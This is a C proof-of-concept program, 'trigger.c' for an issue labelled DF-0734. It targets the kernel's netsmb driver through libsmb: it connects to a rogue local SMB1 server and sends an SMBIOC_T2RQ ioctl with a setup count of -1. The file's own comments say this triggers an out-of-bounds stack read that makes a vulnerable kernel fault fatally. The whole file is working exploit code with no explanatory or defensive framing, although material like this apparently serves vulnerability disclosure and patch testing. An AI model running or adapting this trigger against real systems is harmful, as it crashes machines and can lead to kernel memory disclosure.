DF-0734 / trigger.c
/* * trigger.c — DF-0734 trigger: signed/unsigned OOB-read via SMBIOC_T2RQ. * * Uses the libsmb API (same library mount_smbfs uses) to establish VC+share * against a rogue SMB1 server, then issues SMBIOC_T2RQ with ioc_setupcnt = -1. * * Build: cc -o trigger trigger.c -lsmb -I/usr/src/contrib/smbfs/include * Run: ./trigger (must be root; rogue_smb on 127.0.0.1:139) */ #include <sys/types.h> #include <sys/ioccom.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <netsmb/smb_lib.h> #include <netsmb/smb_dev.h> int main(int argc, char **argv) { struct smb_ctx *ctx; int rc; struct smbioc_t2rq t2rq; char *av[] = { "trigger", "//guest@127.0.0.1/IPC$", NULL }; int level = 2; /* SMBL_SHARE */ printf("[*] DF-0734: nsmb T2RQ signed/unsigned OOB read trigger\n"); rc = smb_lib_init(); if (rc) { fprintf(stderr, "smb_lib_init failed: %d\n", rc); return 1; } ctx = malloc(sizeof(struct smb_ctx)); if (!ctx) { perror("malloc"); return 1; } memset(ctx, 0, sizeof(*ctx)); /* smb_ctx_init(ctx, argc, argv, minlevel, maxlevel, sharetype) */ rc = smb_ctx_init(ctx, 2, av, level, level, 0 /* SMB_ST_DISK */); if (rc) { fprintf(stderr, "smb_ctx_init failed: %d\n", rc); return 1; } printf("[+] smb_ctx_init ok (parsed UNC)\n"); smb_ctx_setsrvaddr(ctx, "127.0.0.1"); smb_ctx_setpassword(ctx, ""); ctx->ct_flags |= SMBCF_NOPWD; /* Make VC private like mount_smbfs */ ctx->ct_ssn.ioc_opt |= SMBVOPT_PRIVATE; printf("[*] resolving context...\n"); rc = smb_ctx_resolve(ctx); if (rc) { fprintf(stderr, "smb_ctx_resolve failed: %d\n", rc); return 1; } printf("[+] context resolved\n"); printf("[*] establishing VC + share via SMBIOC_LOOKUP...\n"); fflush(stdout); rc = smb_ctx_lookup(ctx, level, 1 /* SMBLK_CREATE */); if (rc) { fprintf(stderr, "smb_ctx_lookup failed: %d (%s)\n", rc, strerror(rc)); return 1; } printf("[+] VC + share established (fd=%d)\n", ctx->ct_fd); /* Issue the malicious T2RQ */ memset(&t2rq, 0, sizeof(t2rq)); t2rq.ioc_setup[0] = 0x0001; t2rq.ioc_setupcnt = -1; /* THE BUG */ t2rq.ioc_tparamcnt = 0; t2rq.ioc_tdatacnt = 0; t2rq.ioc_rparamcnt = 0; t2rq.ioc_rdatacnt = 0; printf("[*] issuing SMBIOC_T2RQ with ioc_setupcnt = -1 (0x%x)\n", (unsigned)t2rq.ioc_setupcnt); printf("[*] VULNERABLE kernel → fatal page fault (OOB stack read)\n"); fflush(stdout); rc = ioctl(ctx->ct_fd, SMBIOC_T2RQ, &t2rq); printf("[!] T2RQ returned rc=%d errno=%d (%m)\n", rc, rc < 0 ? errno : 0); smb_ctx_done(ctx); return 0; } |